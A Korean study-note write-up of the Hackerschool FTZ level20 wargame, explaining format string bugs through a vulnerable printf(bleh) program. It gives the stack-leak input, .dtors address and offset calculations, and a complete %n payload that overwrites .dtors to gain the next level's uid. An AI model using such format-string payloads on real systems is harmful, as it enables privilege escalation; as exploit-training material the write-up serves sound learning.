/ 해당 문서는 공부를 하며 정리한 내용으로 틀린 부분이 있을수도 있습니다. /
해커스쿨 level20 문제를 풀어보면서 FSB (Format String Bug)에 대해 알아보자.
#include <stdio.h>
main(int argc,char **argv)
{
char bleh[80];
setreuid(3101,3101);
fgets(bleh,79,stdin);
printf(bleh);
}
문제 소스는 다음과 같다.
FSB는 printf(bleh) 와 같이 프로그래머의 귀차니즘(?)으로 인해 발생한다.
풀이과정은 다음과 같다.
[level20@ftz level20]$ (python -c "print 'AAAA' + '%x'*4";cat) | ./attackme
AAAA4f401524604009850041414141
[level20@ftz level20]$ objdump -s -j .dtors attackme
attackme: file format elf32-i386
Contents of section .dtors:
8049594 ffffffff 00000000 ........
offset : 3 * 8 = 24
.dtors : 0x08049594
Cleanup : 0x08049598
EGG : 0xbffffa30
fa30 = 64048
64048 - 24 - 16 = 64008
1bfff - fa30 = 50639
AAAA\x98\x95\x04\x08BBBB\x9A\x95\x04\x08%8x%8x%8x%64008c%x%50639c%x
(python -c "print 'AAAA\x98\x95\x04\x08BBBB\x9A\x95\x04\x08%8x%8x%8x%64008c%x%50639c%x'";cat) | ./attackme
실행하여 804959a 주소가 나오나 확인!
나온다면 %x -> %n 으로 바꾸어 공격!
(python -c "print 'AAAA\x98\x95\x04\x08BBBB\x9A\x95\x04\x08%8x%8x%8x%64008c%n%50639c%n'";cat) | ./attackme
uid=3101(clear) gid=3100(level20) groups=3100(level20)